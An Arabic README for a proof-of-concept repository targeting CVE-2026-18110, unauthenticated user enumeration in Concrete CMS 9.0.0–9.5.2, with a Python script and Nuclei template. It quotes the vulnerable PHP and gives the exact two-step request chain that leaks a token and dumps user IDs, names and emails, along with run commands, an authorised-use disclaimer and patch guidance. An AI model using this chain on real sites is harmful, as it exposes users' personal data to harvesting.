
أداة PoC بلغة Python وقالب Nuclei لاستغلال CVE-2026-18110، وهي ثغرة تعداد المستخدمين دون مصادقة في Concrete CMS 9.0.0-9.5.2 عبر نقطة نهاية الإكمال التلقائي للمستخدم.
لا يقوم Concrete CMS 9.0.0 حتى 9.5.2 بإجراء فحص للتفويض على نقطة نهاية الإكمال التلقائي لمُحدِّد المستخدم (/ccm/system/user/autocomplete)، والتي تدعم لوحة "Preview as User" ومكونات مُحدِّد المستخدم الأخرى. يتيح ذلك لـمهاجم عن بُعد غير مُصادَق عليه تعداد دليل المستخدمين الداخلي بالكامل — بما في ذلك معرّفات المستخدمين وأسماء المستخدمين وعناوين البريد الإلكتروني — دون أي جلسة صالحة أو بيانات اعتماد.
تُعد هذه الثغرة حالة كلاسيكية لإساءة استخدام رمز CSRF كضابط للتفويض: يُثبت الرمز سلامة الطلب لكنه لا يجيب أبدًا على السؤال الأمني الفعلي حول ما إذا كان يُسمح للمُتصل بالاستعلام عن قائمة المستخدمين.
| المنتج | المتأثر | المُصلَّح |
|---|---|---|
| Concrete CMS | 9.0.0 – 9.5.2 | 9.5.3 |
لوحة Preview As User مُسجَّلة في concrete/routes/panels.php تحت المسار الأساسي /ccm/system/panels:
GET /ccm/system/panels/page/preview_as_user
يستدعي المتحكم الخاص بها (concrete/controllers/panel/page/preview_as_user.php) الدالة UserSelector::quickSelect() لعرض مكوّن Vue من نوع <concrete-user-select>. على عكس الدالة الشقيقة selectUser()، التي تتحقق بشكل صحيح من canAccessUserSearch()، لا تُجري quickSelect() أي فحص للأذونات قبل إنشاء الرمز وتضمينه:
// concrete/src/Form/Service/Widget/UserSelector.php (vulnerable — 9.5.2)
public function quickSelect(string $inputName, $userID = null, array $args = []): string
{
$userSelectInstance = $userSelectInstanceFactory->createInstance($labelFormat, $includeAvatar);
// No permission check here — token is rendered unconditionally
$html = <<<EOL
<concrete-user-select
access-token="{$userSelectInstance->getAccessToken()}"
label-format="{$labelFormat}"
:include-avatar="{$includeAvatar}"
...
EOL;
return $html;
}
وبالتالي فإن استجابة HTML المُصيَّرة من الخادم تكشف عن access-token صالح لأي زائر — بما في ذلك غير المُصادَق عليهم — يمكنه الوصول إلى هذا المسار.
قيمة access-token لها التنسيق التالي:
{unix_timestamp}:{md5_hash}
حيث يتم حساب التجزئة على جانب الخادم كالتالي:
md5( timestamp : userID : action : pepper )
timestamp — وقت UNIX عند الإنشاء، يُرسَل كنص عادي كبادئة للرمز.userID — معرّف مستخدم الطالب عند الإنشاء؛ 0 للزوار غير المُصادَق عليهم.action — السلسلة user_select:format:{labelFormat}:avatar:{includeAvatar}، حيث تُوفَّر كلتا القيمتين من قِبَل المهاجم عبر معاملات الاستعلام.pepper — سر عشوائي مكوّن من 64 حرفًا يُولَّد مرة واحدة عند التثبيت ويُخزَّن في application/config/generated_overrides/concrete.php.الرموز صالحة لمدة 24 ساعة وقابلة لإعادة التشغيل بالكامل خلال تلك النافذة — لا يوجد فرض لاستخدام واحد/nonce. كما لا يوجد فحص للحد الأدنى للطابع الزمني، مما يجعل فحص الحداثة أحادي الجانب.
1. GET /ccm/system/panels/page/preview_as_user
↓
Server responds with HTML containing:
<concrete-user-select
access-token="1738012345:a1b2c3d4e5f6..."
label-format="auto"
:include-avatar="true"
...>
2. POST /ccm/system/user/autocomplete
Body: accessToken=1738012345:a1b2c3d4e5f6...
&labelFormat=auto
&includeAvatar=true
&query=a
↓
Server responds with full user list:
[
{"id": 1, "primary_label": "admin", "secondary_label": "[email protected]"},
{"id": 6, "primary_label": "m.rossi", "secondary_label": "[email protected]"},
...
]
يُعيد استدعاء checkAccess() داخل view() حساب التجزئة باستخدام uID الخاص بالطلب الحالي (0 للضيوف) — وهو ما يتطابق تمامًا لأن الرمز تم إنشاؤه أيضًا بـ uID=0. ينجح الفحص، ويُعاد دليل المستخدمين الكامل.
يتحقق ضابط canAccess() / checkAccess() على نقطة نهاية الإكمال التلقائي من سلامة الرمز (غير مُزوَّر، غير منتهي الصلاحية) لكنه لا يتحقق أبدًا من التفويض (هل يُسمح لهذا المُتصل بالبحث عن المستخدمين؟). صلاحية رمز CSRF ليست بديلاً عن فحص التفويض. بالمقارنة مع getSelectedUsers() في نفس المتحكم، والتي تستدعي بشكل صحيح Checker::canViewUser() لكل نتيجة، لا يوجد في view() فحص مكافئ.
يتضمن هذا المستودع سكربت Python + قالب كشف Nuclei. يمكن استخدام سكربت Python فقط ضد عنوان URL واحد. إذا كنت تريد اختبار أهداف متعددة في وقت واحد، فاستخدم nuclei بدلاً من ذلك. كلاهما يُؤتمت سلسلة الخطوتين الموصوفة أعلاه ويطابق بيانات المستخدم المؤكدة في استجابة الخطوة 2.
python3 CVE-2026-18110.py https://target.example.com
nuclei -t CVE-2026-18110.yaml -u https://target.example.com
مخصص للاستخدام ضد الأنظمة التي تكون مُصرَّحًا لك باختبارها فقط.
قم بالترقية إلى Concrete CMS 9.5.3 أو أحدث. يُقدِّم الإصلاح فحصًا للتفويض في مرحلة إصدار الرمز (quickSelect()) متوافقًا مع ضابط canAccessUserSearch() الموجود بالفعل في selectUser()، ويضيف فحصًا مكافئًا للأذونات داخل view() في متحكم الإكمال التلقائي، بما يحاكي نمط Checker::canViewUser() المستخدم بالفعل بشكل صحيح بواسطة getSelectedUsers().
إذا لم يكن الترقية الفورية ممكنة، فكّر في حظر الوصول غير المُصادَق عليه إلى /ccm/system/panels/ على مستوى خادم الويب أو WAF كتخفيف مؤقت.
نُشِر هذا المستودع لأغراض تعليمية ودفاعية أمنية. أُجريت جميع الاختبارات ضد أنظمة تحت تفويض صريح. المؤلفون غير مسؤولين عن أي إساءة استخدام للمعلومات أو الأدوات الواردة هنا.